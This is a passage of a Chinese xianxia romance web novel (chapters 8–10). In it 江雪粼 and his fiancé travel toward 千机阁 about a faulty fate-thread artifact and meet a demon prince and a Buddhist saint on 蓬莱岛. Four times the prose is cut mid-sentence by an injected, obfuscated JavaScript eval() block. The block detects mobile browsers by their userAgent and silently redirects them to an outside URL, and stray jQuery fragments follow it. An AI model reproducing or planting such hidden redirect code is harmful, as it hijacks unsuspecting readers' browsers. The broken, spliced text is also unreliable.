如此无牵无挂,一颗心全系在病弱柔软的未婚夫身上,为了他能够去做任何事情。
而娇小的柔弱的有着一双澄澈明亮宛若绿松石般眼睛的未婚夫眼中也只有他,怎么能不叫人嫉妒?
江雪粼听到镜无漪这样说,没忍住瞪他一眼,连表面功夫都不想和他做了,“师兄为了让我活的更久一些了很多,殿下,还请你不要再说这种挑拨我们师兄弟之间关系的话了。”
“江皎皎,你是笨蛋吗?”镜无漪一时语塞,“他四处奔走寻法器是真,现在这个法器出了问题总不是假的吧?”
他的心口现在还疼着呢。
他以前怎么不知道,江雪粼这张唇形漂亮的嘴净会说些让人戳人心窝子的话呢?
这件事太复杂了,没人知道到底为什么在没有任何预兆的情况下,情缘线会绑定除江雪粼和裴星垂以外的人,也没人知道为什么明明成功解除绑定之后情缘线又重新链接。
裴星垂紧紧握着江雪粼的手,镜无漪虽然令人讨厌,但他的话说的没错。
情缘线出了问题,而他也本不应该把来路不明的东西用在他的师弟,他的皎皎身上。
但他太着急了。
阿粼已经过了十八岁生辰,他还未出生就被断定无法活过百年。
百年之中又能有几个十八年?
他想他的皎皎活着,他要他的皎皎活着。
百年于修士而言不过弹指一瞬,妖族重明更是长寿,裴星垂心想,他的余生若是没有江雪粼,那便再无春日。
河雪粼不行,海雪粼不行,他只要江雪粼。
法器出现故障让裴星垂心情变得低迷,若是因为他的缘故,让阿粼受伤,那就太糟糕了。
江雪粼被镜无漪的问话一噎,想反驳自己没事,但看着有事的两人惨白的脸色,说不出这么让人心糟的话来。
他揉揉眉心,“现在不是计较这个的时候,殿下,在下实话实说。”
“除了你,还有其他人。”
他牵扯着衣袖,将雪白晃眼的手腕露出,七根丝线随着灵力的波动而轻颤。
江雪粼见镜无漪露出思索的表情,才继续说:“师兄如今已是元婴巅峰的修为,你同他所差无几,但是前几日师兄利用神识探查其他人的方位时却受到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109958|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重创。”
“这就说明,其他几位当中肯定有修为更高之人。”
裴星垂露出不可置信的表情,江雪粼没看他,而是继续道:“殿下也说这类命线极为重要,绑定你我,定然是有因果牵扯。”
虽然他也不知道他和镜无漪,还有其他素未谋面的人到底有什么因果。
“现在看来,强行解除绑定反而会让彼此受伤。”江雪粼抬眼和镜无漪对视,反手按住明显想说什么的裴星垂,“我会前往千机阁拜访阁主。”
千机阁同四象谷一样隶属仙盟,修真界大部分法器的资料千机阁都有收录。
现在只能祈祷这件被裴星垂从秘境中得到的法器在千机阁也有记录。
“千机阁主与我爹娘有些交情,到时候我会请阁主出面相助解除命线的绑定。”江雪粼说完略微停顿一瞬,然后才对上镜无漪似笑非笑的眼睛,“殿下所觉如何?”
镜无漪抚掌,对这个安排没意见,他颔首道:“小谷主安排妥帖,在下并无异议,只是——”
他学着江雪粼方才的停顿,拖长声调,“想来裴首席日理万机,没时间陪同你去千机阁,我不介意替他为你护法,与你一道前去。”
“本殿可是非常乐意为你效劳。”不顾裴星垂变得黑青的脸,镜无漪耸肩,“既无其他事,我就先回妖域了,至于我的提议,小谷主可以好好考虑,回见。”
这位妖域少主素来不走寻常路,之前入谷让人通报一声已经算是守规矩,现下话音落下,便化作一片水雾消失在原地。
离开之前,他还强硬地索要了一道江雪粼的灵力,两人以后就能用玉符联系了。
江雪粼还没反应过来人就已经消失不见,玉符还亮着,属于镜无漪的灵力霸道无比,缠住他的小指不放。
裴星垂对镜无漪土匪行径不予评价,他从江雪粼手里将自己的手抽出来,将那泄露出的灵力挥散。
宽厚的手掌覆在小师弟的手上,完全将那抹雪溶溶的白遮住。
而后用像是问今日天气那般故作轻松的语气问:“阿粼,你如何知晓我的神识受到重创?”
他这话一出,换来他亲爱的小师弟一个白眼。
江雪粼用看笨蛋的目光看着裴星垂,“师兄,我已经不是小孩子了。”
“你搪塞我的话,换谁来都能察觉不对,更何况我们一起生活这么多年,难道我还不了解你吗?”
若不是镜无漪突然到访,这件事江雪粼就会一直当作不知道。
他轻轻叹一声,“这段时日我都叫九穗在送来的汤羹中加了璃光果,师兄难道没吃出来吗?”
裴星垂当然吃出来了,元婴期虽然早已经辟谷,但他会在陪江雪粼的时候一同吃些灵食。
璃光树生于妖域,五百年结果,果实外表半透明如琉璃,味道清甜,药性温和,有稳固神魂识海的功效。
江雪粼从小到大吃的璃光果不计其数,裴星垂一时半会还真没将这个联想到自己身上来。
“璃光果我都要吃吐了,要不是师兄受伤,我才不想再吃呢。”娇气的小师弟皱着细眉,撒娇般说着埋怨的话,裴星垂连忙告饶,“是师兄不对,也是师兄一意孤行连累你。”
镜无漪说的对,他就是愚蠢至极,来路不明的东西也敢给阿粼用。
现在说什么都晚了,只能寄希望于千机阁主,希望他有办法将阿粼和其他人之间的丝线消抹解除。
8.第 8 章
虽然提出前往千机阁的人是江雪粼,但裴星垂打算的是自己前往,一来一往也不费时。
总之,他不会让江雪粼去冒险。
“千机阁我是一定要去的。”江雪粼偷偷觑着师兄的表情,果不其然,下一瞬男人就给出了否定的回答,“不行。”
江雪粼眉头一拧,“为什么不行?”
“师兄,我又不是没去过,你若是不放心,我把方风他们都带上就好了。”
保护他的童子修为不低,人也不算少。
四象谷中还有不少散修,是受邀前来保护他的。
裴星垂静默一瞬,眼中显现出非人的重瞳,江雪粼没发现,他还在盘算若是出门要带些什么东西。
“……皎皎,你不想要师兄一起去吗?”裴星垂撑着下巴,屈指轻扣着桌面,语气危险,“难道你真的要和镜无漪一道前往千机阁?”
“嗯?”江雪粼回过神来就听到裴星垂的问话,歪着头否认,“为什么要和他一起?”
“我以往和爹娘也一同去过千机阁,谷中事务繁多,我只是不想让师兄你再多劳心劳神啦。”像是看出自家师兄心中的的苦闷,江雪粼眼中盈着笑扑进他怀里,眨着眼睛有些促狭,“怎么,师兄舍不得我吗?”
“四象谷和千机阁相隔不远,费不了多少时间的,我很快就能回来的。”
“阿粼,你也说了,是和师父师娘一同前去的,现在你想自己去,我不会同意的。”裴星垂环住他的腰,摇头,咬死不松口。
见裴星垂依旧不为所动,江雪粼从他怀中退开,揪着人的袖子晃来晃去,“师兄,你就让我去吧,我已经很久没有出过门了。”
“我保证不在外逗留,见过阁主就回来。”他见人不信,连忙举起手要发誓,裴星垂赶紧拉住他。
“修行之人受天地法则约束,不可随意起誓,此事再议吧。”裴星垂无奈,却依旧定定看着他,“皎皎,有关你的事我从来不觉得会劳心劳神。”
他了解江雪粼就如江雪粼了解他一样,“我已经和大家都打过招呼,让他们都看着你,你也别想着偷溜出谷。”
“谷中遍布阵法,四季如春,现在的时节,外面却浓霜厚雪,你若是出门一趟便病了又该如何是好?”
江雪粼本来还想说什么,却没想到会直接被戳穿小心思,又被逮着一通说教。
他瞪大眼,恼羞成怒地踩一脚裴星垂,一甩袖子气呼呼走了,只留下裴星垂一个人在花厅对着他离去的背影望了许久。
江雪粼回到淑棠院,气恼地扔开手上拿着的储物袋,师兄对他很好,但一到涉及要出谷的事情,他就变得说一不二。
师兄怎么这样?
刚刚还说着好师兄师兄好的江雪粼倚着花梨木美人榻,把绣着银棠雪青缎面靠枕当作裴星垂揉捏。
“少主,大师兄也是担心您。”方风和木通一人站一边,给他捏肩。
方风语重心长,“您想,我与木通等人修为最高不过金丹,虽能保护您但若是遇到更高修为的修士呢?”
“再者,那些散修虽与谷主签订了条约,但难免有疏漏的地方,大师兄如何能放下心来?”
江雪粼斜睨他一眼,“就你嘴贫。”
他幽幽叹一声,纤细浓密的眼睫垂落,在眼睑处投下一小片阴影,“我知师兄是担心我,但我已经不是小孩子了,难道我要一直被他保护下去吗?”
九穗送来了今日的药膳,他温和地笑笑,“有何不可呢?保护少主本就是我们大家的责任。”
“更何况大师兄是您的未婚夫,他保护您,难道不是更加天经地义么。”
江雪粼闻见璃光果的气味就烦,“拿走拿走。”
这药膳本是为裴星垂准备的,谁也没想到今日两人闹了不愉快。
他盯着药膳又看了好一会,叹一声,眼不见心不烦地摆摆手,“算了,给师兄送去吧。”
几个童子知晓他心软,都抿着唇笑。
江雪粼将几人挥退,撑着下巴看着院中的垂丝海棠发呆,不过一会,裴星垂便寻来了。
他从前每一次都无法说出拒绝江雪粼的话来,这次当然也并不例外。
看着那双绿汪汪如湖水般的眼睛,没办法让它露出失望的情绪来。
“阿粼。”裴星垂呼唤他的小师弟。
江雪粼听到他的声音就烦闷,捂住耳朵不想听,甚至还背过身去。
淑棠院经过蛇妖一事,摆放宝贝的架子被江雪粼指挥着重新换了位置,窗户便再无遮挡,日光清亮泠泠地落进来。
裴星垂跟着江雪粼转圈,地上的两道影子交叠纠缠,他又呼唤对方的小字,“皎皎。”
“是师兄错了。”
江雪粼捂着耳朵的手松了松,似乎是想听听他到底要说些什么。
裴星垂眼中闪过一丝笑意,他俯身,缓声解释,“我只是忧心,在外总有不便,你不习惯怎么办?”
“外面气候多变,对你修养也并无好处。”
“再者,我希望你能够多亲近我一些。”
“不是和镜无漪,也不是只要方风他们跟着,而是我,是我想陪你一起去。”
他对上那双绿色的,纯净澄澈的眼睛,很无奈,“皎皎,是我贪心。”
江雪粼当然知道他的意思,他们是竹马竹马,是师兄弟,也是未婚夫夫,他本就可以理所应当地向裴星垂提出任何要求。
“只要你再开口唤一声师兄,我就答应了。”裴星垂伸出手轻点一下自家小师弟的鼻尖,到底还是没开窍呢。
扰乱人心绪的罪魁祸首这才扭头看过来,表情无辜,还有些不相信他就这样松口,“真的吗?”
裴星垂点头,“当然是真的。”
愁着眉眼的江雪粼瞬间眉开眼笑,扯着人的袖子轻晃,“师兄师兄师兄。”
“那师兄可说好了的,你和我一同去千机阁,可不许再反悔。”
“我答应你的事,有哪件是反悔了的?”裴星垂无奈摇头,真是个小没良心的。
江雪粼才不管他心里在想什么,能出谷就让他开心极了,欢呼着唤来童子们收拾行李。
还盘算着要去见见爹娘,和他们说说话,讲讲近来发生的事情。
四象谷距离千机阁确实不算太远,但一来二去也要小半月的时间,外面环境也确实如裴星垂所说,比不得在谷中时,总要多准备一些才好。
裴星垂任劳任怨地为满心欢喜的小师弟准备东西,还要将谷中事宜一一安排,好在他从前出门的时间就有很多,长老们早已经习惯。
只是这次有些特殊,他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111033|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的小少主是跟着一同出谷的,倒叫他们有些放心不下了,各种法宝丹药符篆一股脑全塞给他,甚至还觉不够。
离开四象谷之前,江雪粼在裴星垂的陪同下去了谷中后山的桃源,他娘就在那里闭关。
桃源外设有结界,但不会对江雪粼设防,他踏入结界之后,裴星垂就守在外面,看着他的身影消失在漫天桃花之中。
江雪粼来的巧,他爹居然难得的没有守着他娘。
“爹!”江雪粼眼睛一亮,小跑着过去,看到父亲的喜悦让他脸上下意识就露出笑,“我还以为今日也会和往常一样,只能远远见你们一面呢。”
江平眷年轻时是远近闻名的美男子,上了年纪,脸上就留下岁月的痕迹,却也依旧儒雅随和。
他身着素色衣袍,腰间扣着一枚羊脂玉佩,除了有着那一双异域色彩的绿色眼眸,看上去和凡尘界的普通人没两样,放在外面,任谁也想不到他是仙盟势力之一的四象谷主。
他说话时不疾不徐,从储物戒中拿出茶盏和茶杯,给江雪粼倒了一杯雾里青,热气袅袅,让他的声音又柔和几分,“一早便算出皎皎会来见我们,还是和远行有关的事,我便等在这里了。”
江雪粼端着茶杯骄矜一笑,他爹卜算很有一手,能算出这些并不奇怪。
只是——
“我娘呢?”
说起这个,江平眷脸上的笑意就更深,“皎皎,你娘的修为早已稳住,体内魔气也被净化的差不多,若无意外,很快就能出关了。”
江雪粼睁大眼,也跟着欢喜起来,“爹,你说的可是真的?”
“当然,为父何曾骗过你?”江平眷摸摸下巴,两人又说起谷中近况,聊的差不多以后江雪粼才说起自己的来意。
“我要和师兄一同前往千机阁,询问阁主如何解除情缘线。”江雪粼伸出手给他爹看手上链接的命线,“也不知道有没有办法。”
江平眷看着那丝线,当初裴星垂找到这件法器的时候也拿给他和云意月看过。
他算过了,这件法器能够带给他们的宝贝孩儿数不尽的机缘,甚至能够逆天改命。
为人父母,既有能够给人续命的法子,如何能眼睁睁看着自己的孩子走在自己的前面?
机缘当然要抓在手里。
现在看来,他家阿粼的机缘到了。
江平眷想了想,还是将三枚古旧铜钱置于面前的石桌,为江雪粼卜了一卦。
铜钱在石桌上叮当作响,定格成一个奇妙的图案。
“风火相激,化为明光……”江平眷沉吟片刻,抬手拂过桌面,空气中的微风浮动,带起桃花清香,“是风火家人,动在六二,化而为离。”
“此去一行,顺遂,机缘无数。”
他的话让江雪粼放心不少,也就是说去千机阁可以找到解除情缘线的办法。
江平眷见他没懂自己的意思,也不开口提醒,只是笑着摇头,“需要什么就去我和你娘的宝库取就是了。”
“谢谢爹!”
江雪粼喜气洋洋地离开了桃源,一出结界就扑进裴星垂怀里,再抬头,眼睛都明亮非常,“师兄,我娘很快就能出关了。”
裴星垂也觉惊喜,师父师娘出关,有他们在谷中坐镇,他和阿粼相处的时间又能变得更多一些了。
9.第 9 章
一切准备完毕,江雪粼和裴星垂一行人登上灵舟前往千机阁。
即使有裴星垂在,几个童子也还是跟着一起来了,毕竟在外面不比在谷中,就算裴星垂有信心照顾好江雪粼,也难免会有疏漏之出。
几个童子都是在江雪粼很小的时候就跟着他了,他们都是树精,也比江雪粼年长很多,照顾他到底妥帖些。
几日过去,灵舟早已经脱离四象谷的管辖范围。
四面云海翻滚,风声涛涛,偶尔夹杂着被风卷起的雪花,只是一触及到灵舟上阵法凝出的屏障就消散了。
“师兄!”江雪粼在厢房内没见到裴星垂,找了一大圈才见到人。
如此刻苦,居然在灵舟上也不忘练剑。
这艘灵舟也是千机阁出品的法器,内有芥子空间,容纳上万人不是问题。
只是这件法器是蓬莱岛岛主送给江雪粼的成年礼,里面的装潢倒是不算夸张,经过部分改在之后,和漱棠院的布局差不了多少。
只是船首部分的空间被改成了道场,四周的四象灵兽栩栩如生。
江雪粼趴在矮栏上,撑着头欣赏自家师兄舞剑英勇身姿。
他一身劲装,周身气息凛冽,剑意惊风晓云,如游龙惊鸿。
裴星垂很快收剑,抬起头和站在高处的江雪粼对视,身上气息收敛,变得的温和,“醒了?”
江雪粼没下楼,等裴星垂从道场走到自己身边,才拿起手帕给师兄擦擦额头,裴星垂一动不动,垂眸就那样看着自己的小师弟。
柔软的锦帕在自己脸上晃来晃去,轻飘飘的,像羽毛,闹的人心痒。
江雪粼一抬手,裴星垂就能感受到对方衣袖间的香气扑面而来,手腕是白的,在日头下面亮的晃眼。
裴星垂莫名觉得自己有些渴了。
他移开视线,接过绣有桃花纹的帕子自己擦完额上的薄汗,无比自然地将手帕塞进自己怀里,而后若无其事地开口,“再过几日就到蓬莱岛了,这片方域禁飞,到时候可能要在梦月海的港口上岸。”
江雪粼点头,弯弯眼睛,“梦月海的粉珍珠我很喜欢,娘也很喜欢,说不定回到家爹娘就出关了,总要给他们带些礼物回去,师兄到时候帮我挑挑吧。”
裴星垂笑着点头应下。
蓬莱岛在梦月海之上,是修真界的中心域,这里各方修士来往络绎不绝,比起四象谷的清幽宁静,蓬莱岛热闹非凡。
蓬莱岛主和江雪粼的爹娘是私交甚好的密友,不管怎么说来到这里江雪粼也是该去拜访一下这位长辈的。
江雪粼甚少出门,蓬莱岛也没来几回,每次见了都觉得稀奇。
踏入蓬莱境内,声浪与灵潮便扑面而来,集市依托着悬浮仙岛的下层平台,立体而错落。
吆喝声不绝于耳,甚至有些还加了扩音符,很远都能听到。
“瞧一瞧看一看,上好的追踪符,不好不要灵石……”
“小仙长,看看丹药吧,上品中品下品应有尽有,全都低价出售了!”
……
那些浮铺里发光的青玉板托起商品,展示着兽皮,草药,各阶法器,以供买家挑选。
维持秩序的执法队穿着统一的服饰行走期间,这里的一切热闹却有序。
江雪粼身边只留下方风,其他童子被他使唤着去买东西,上门拜访还需得给岛主准备些薄礼。
他吩咐完童子们,余光瞥见旁边有卖糖葫芦的。
他领着方风过去,纠结半晌只买了两串,一串给了方风,一串自己拿在手上咬着。
修真界的野山楂也蕴着灵气,外面的糖衣薄薄一层,甜脆可口,山楂清甜带着些微酸意,是很爽口的味道。
江雪粼也记着自己不能多吃,便吃的很慢,细细品尝着糖葫芦的味道。
裴星垂收了灵舟,就见江雪粼带着方风站在人流后方等着,木通几人已经不见了踪影,他猜测是被江雪粼指使着去采买东西去了。
裴星垂环视一周,心中有些不快,实在是这些人的目光太叫人讨厌了。
他的小师弟无论走到哪里都是最亮眼的存在。
清凌凌如天上的月,又因为那头柔顺的粉发,碧波般的眼,还有扶风弱柳的身姿,即使站在角落里,也会让人将目光放到他身上去。
但是太多了。
那些丑陋的下流的目光。
他深吸一口气,走到江雪粼面前,将那些打量的目光全部挡回去。
脾气不怎么样的修士见到他出现在美人面前,将他也当作了和自己一般,想和美人搭讪的家伙,心中还有些不耐,本想上去理论一番。
裴星垂身上属于元婴期的威压一出,他们就都收敛许多。
这不是他们能惹得起的存在。
江雪粼捏着刚刚买的糖葫芦,有些不解地抬眼去看裴星垂,对方的面色实在算不上好,“师兄,怎么了?”
而后他又咬一口糖葫芦,嘟嘟囔囔着师兄是不是晕灵舟了。
没想到裴星垂一直盯着他嘴边的糖葫芦,他有些不舍地伸出手递过去,可怜巴巴地说:“师兄,我只吃了两个,没多吃。”
笨蛋。
还觉得自己是因为他多吃了一个糖葫芦而生气了。
裴星垂揉揉眉心,但这些东西吃多了确实对江雪粼的身体不好,于是伸手将糖葫芦接过来,像是把山楂当作那些可恶的人一般,用牙咬碎,嚼的咯吱响。
江雪粼见他面色好些了,没在意咯吱咯吱的声响,只是在心里感慨,师兄牙口真好。
裴星垂和方风一直跟在他身后为他付灵石和拎东西。
蓬莱岛是中心域最大的势力,有数十位大乘期修士坐镇,还有化神期大能常居于此,蓬莱岛主也已经是化神期巅峰,半步渡劫了。
在蓬莱岛的管辖范围内,不许修士私自斗殴,不可残害人性命,不可行歹毒之事,违反者轻则罚款,重则废去修为逐出中心域。
虽然还没有人受到过重罚,但有这么多大能坐镇,所有人都知道这不是玩笑话。
当然,这条规则也让中心域蓬莱岛成了最受欢迎的地方。
修士妖族凡人甚至改头换面的魔修鬼修都居于此,在这里生活经商交易。
江雪粼一路走来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121222|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见到不少头上顶着耳朵,身后坠着尾巴的妖族。
不过很快他意识到这样盯着对方看很不礼貌,便收回了目光。
只是他隐约能感知到有人在观察自己,不是之前在港口那种带着惊艳和其他意味的让人不自在的打量,而是纯粹的好奇,也很冰凉,不掺杂一丝一毫的情绪。
他四处张望,没见到什么人,周遭人来人往,沸反盈天,还真不知道谁在看自己。
“怎么了?”裴星垂挑选了一枚漂亮的香囊放到他手心里,偏过头来问,又伸手为他理了理衣襟。
江雪粼低头去看那枚散着棠花香的荷包,他也不知道是不是自己的错觉,所以只是回到:“没事呀师兄。”
即便他这样说,裴星垂还是提高了警惕,外面的人也不必谷中,多的是阴险狡诈之辈,不论如何,都不能让有心人有了可乘之机。
只是不曾想,他的师弟从进入中心域时就早已经被人盯上。
蓬莱岛上的粉珍珠多的是渔民在售卖,大部分修士们对这些装饰外物并不感兴趣,也不会断了凡人的财路。
但粉珍珠除了作装饰品,还能入药,渔民会将大量的粉珍珠卖给药宗的人,若是江雪粼想买,要去药宗名下的百药堂购买。
倒是不难找,仙盟势力在中心域有专门的区域划分,药宗也是其中之一。
江雪粼和师兄还有方风走走停停,买了很多东西。
就是裴星垂还是不许江雪粼吃太多小食,买来的大多都是只让江雪粼尝两口,其他的要么进了裴星垂自己肚里,要么被收进储物戒。
只是三人还没走到百药堂就遇到了一个意料之外又不那么意外的人——
“镜无漪?”江雪粼皱着眉,约瞧越觉得那站在卖首饰的浮铺面前的人像镜无漪。
被他唤出名字的男人悠悠笑着转身,“皎皎少谷主,真巧。”
他面上的笑在瞥见江雪粼身边站着的裴星垂之后收敛一些,随后意味不明地轻哼一声,“哦,大忙人裴首席也在啊。”
裴星垂面无表情,心里却厌恶起来。
怎么在这里也能遇到这四脚蛇,真是晦气。
“你在这里做什么?”江雪粼带着疑惑,他没将镜无漪在四象谷说的那些话放在心上,也就不知道这人早就在前往千机阁的必经之路上等着了。
不过想也知道裴星垂绝不会放任江雪粼一人,镜无漪心下遗憾,却做出邀请的姿态,“既然遇见了,不若一道?”
“你也去千机阁?”江雪粼上下打量他,一脸古怪,结合对方的为人推测到,“殿下,真的是巧合而不是你在这里守株待兔吗?”
镜无漪耸耸肩摊手,烟紫色眼眸却一直盯着江雪粼,眼底的情绪深沉,叫谁也看不清,“总归我们目的一样,不是吗?”
江雪粼一想也是,更何况他知道师兄总是不放心自己,镜无漪好歹也是元婴期修为,有两个元婴护卫,师兄总该放心了吧?
“师兄,你觉得呢?”
裴星垂不忍心叫他难做,即使对着镜无漪没什么好脸色,也只能冷着脸应下,算是答应了对方的加入。
10.第 10 章
只是没过多久,江雪粼就有些后悔让镜无漪和他们一起同行了。
镜无漪一件正事没干,从他们见面的浮铺开始,买了各种稀奇古怪的装饰品,比着江雪粼往他身上戴,被拒绝也不生气,又换下一个铺子。
像是装扮江雪粼上瘾一般,乐此不疲。
在又一次镜无漪想将买来的桃花玉簪戴到江雪粼的头上,被裴星垂挡住了。
“镜无漪,你灵石多的没处花不成?”裴星垂语气不耐,“在这对我未婚夫献什么殷勤。”
“哦——”镜无漪拿着玉簪在手里转了个漂亮的圈,声调拖长,“未婚夫啊。”
“少谷主,你瞧你未婚夫拈酸吃醋的样子,如果是我,我绝对不会让你为难的。”
“再者,我们难道不是朋友吗?”镜无漪笑意不达眼底,“我就喜欢给我的好朋友买东西。”
“裴首席,我的灵石我想花就花,这你也要管?”
“未免对别人的灵石太有占有欲了些。”镜无漪冷嗤一声,打开裴星垂挡在江雪粼面前的手,献宝似的将东西放到江雪粼手心里,“少谷主,朋友的礼物你不会不收吧?”
这人说话真有意思。
江雪粼抬起眼对着人笑了一下,“谢谢殿下的礼物,不过这些东若是我想要,师兄会买给我的,殿下别破费了。”
一句话堵上了镜无漪后面所有想说的话,但这位妖域少主脸皮厚与天齐,若无其事地收起玉簪,没一会看到新奇物件又买下来往江雪粼眼前送来。
他根本就没把裴星垂放在眼里。
未婚夫又如何,江雪粼和裴星垂现在的相处方式说破了天也只是稍显亲密的师兄弟,即使两人有着未婚夫夫的名头,现在也只是裴星垂一厢情愿的喜欢罢了。
身为桃花妖的江雪粼,似乎也和木头般缺少了一根情爱的筋,还没开窍呢。
更何况要说认识的时间长短,镜无漪觉得自己和裴星垂也是一样的,他们和江雪粼都是从小就认识了。
若非裴星垂占了个未婚夫的名份,还不知道现在能站在江雪粼身边的是谁呢。
妖族本就没有人类那么多弯弯绕绕,看上了抢回窝里也是有的。
只是江雪粼是人妖混血,也在修真界生活了十几年,受到了一些影响,可能没办法接受妖域过于开放的爱情观念。
那就徐徐图之好了,镜无漪心想,反正两人还没结契成为道侣,不是么?
在这之前,发生什么都有可能,不是吗?
手上的命线无时无刻不在提醒着他,他和江雪粼的联系远比他们想象的要深。
镜无漪甚至私心想让这条线永远都不要消失。
自从上次他回到妖域,愈发觉得难以忍受了。
裴星垂接近江雪粼,触碰江雪粼,自己也能感受到小谷主身上清甜的香气,柔软的身躯,温热的气息。
上天仿佛也开恩垂怜,让他在暗地里窥伺之后,得到了光明正大,能够出现在江雪粼面前的理由。
雪粼,雪粼。
真是叫人想将他吃下去,将他藏起来,让他永远都留在自己身边,也没办法离开自己。
皎皎,皎皎。
-
镜无漪总算安静下去,也落后些许,江雪粼狠狠松了一口气,他不太擅长拒绝别人的好意,即使对方是他讨厌的存在。
但要说起来两人的恩怨,其实也就小时候留下的阴影,现在镜无漪总以人形露面,他心中的畏惧也随之消散不少。
以往拒绝人的事情都是师兄在做,但镜无漪是自己开口请求师兄留下的,若是出尔反尔总归不好。
好在现在这人自己消停了,江雪粼又高兴起来。
再走没多久,百药堂就出现在几人面前。
药宗济世救人,今日不巧,江雪粼他们正好撞上药宗弟子免费义诊施药,百药堂前比别处要更喧嚣和拥挤。
让方风留在外面,裴星垂护着江雪粼进了百药堂内部,拥挤的感觉才算好一些。
粉珍珠被单独放在百药堂的西南角,一个个珠圆玉润,泛着柔和的光泽,很漂亮。
在这里挑选粉珍珠的多是女修和富家小姐,像江雪粼和裴星垂这样的男子很少,所以他们惹来的目光也就更多。
他们两人一人纤瘦漂亮,一人温柔持重,走在一起倒也格外相配。
修真之人本就耳聪目明,裴星垂听到许多话,是在说他和师弟如何如何般配。
他面上表情没什么变化,心情却好上很多。
他偏过头去看站在自己身边认真挑选粉珍珠的江雪粼,表情格外认真,他便也收敛思绪,好好为他的小未婚夫托着装珍珠的木匣。
江雪粼又察觉到有人在看自己。
和之前的冰凉好奇的目光属于同一个人。
很奇怪的,冥冥之中他似有所感,抬起头对上了一双金色的眼睛。
浅金色,带着悲天悯人的神性。
江雪粼定睛一看,那是一位佛修,站在二楼的展柜旁,眉心用金粉描绘着莲花图腾,身上穿着月白色僧袍,袍角还沾着尘露与草屑。
手上绕着一串深色菩提子念珠,随着他的指尖被无声地拨动着。
仔细去看他额间的莲纹,就能感受到耳边似有梵音萦绕。
莲纹映心,梵音随行。
此人的身份便显而易见了。
——佛门圣子,明迦昙。
对方像是没想到他会突然抬头,轻微的怔愣之后对着他行了个佛礼。
江雪粼的视线停留在一处太久,裴星垂自然也能察觉,男人抬头顺着他的目光看过去,也瞧见了站在那里的明迦昙。
他们上一次见面还是不久前的仙盟议事会,没想到这么快又在蓬莱岛上再次见面会了。
江雪粼不知道他为什么会看着自己,但以往两人也有过几面之缘,所以他也只是友好地对人笑笑,就要和裴星垂拿着选好的粉珍珠去结账。
等他再回首,明迦昙已经不见踪影了。
“没想到居然会在这里碰见圣子,听说最近佛门又发现一处魔族的驻点,派人前去镇压了,圣子居然没去么。”江雪粼和裴星垂结了帐,一边往百药堂外面走,一边说着话。
他往日很多时候都是在四象谷中,即使在外面行走也不过很短的时间。
四象谷内有专门的情报收集处,江雪粼作为四象谷少谷主,自然也能查看那些情报。
裴星垂从储物戒中拿出一颗蜜果递给他,面上盈着笑,“皎皎莫不是忘记了?中心域有诸多实力,仙盟六宗也在这里有设立分部,佛门也是其中之一,明迦昙出现在这里不算
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124498|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇怪。”
“许是有其他事情在身吧。”
仙盟六宗除去四象谷,其他势力在此都有派弟子驻守。
在江雪粼爹娘还未闭关之时,四象谷其实也有派弟子到蓬莱岛,只是魔族不知有意还是无意地针对四象谷,保险起见,四象谷召回了所有外出的弟子。
江雪粼心想,等爹娘出关应该会重新派弟子们外出交流,如此想着,倒是没对明迦昙的出现再说什么了。
东西已经买的差不多,江雪粼最想要的粉珍珠也被收入囊中。
他和裴星垂一道,叫上方风准备前往落脚歇息的茶楼和其他人汇合,然后去拜访岛主。
目光环顾一周也没看到说着要和他们一起的镜无漪,他拿出玉符向其注入灵力准备问问人去哪里了,就听到一阵喧哗声。
“救命!救命啊!”尖锐的呼救声像是利刃一般划破岛上乐融融祥和的氛围,江雪粼也不知道自己询问的话语发没发出去,就被裴星垂拦着腰眼疾手快闪身躲开了扑过来的小孩。
“救命,仙人救命……!”那个小孩子衣衫褴褛,他仰起脸,眼泪直流,“救救我,谁能救救我…… ”
小孩身后跟着一个男人,拿着剑,一脸阴郁。
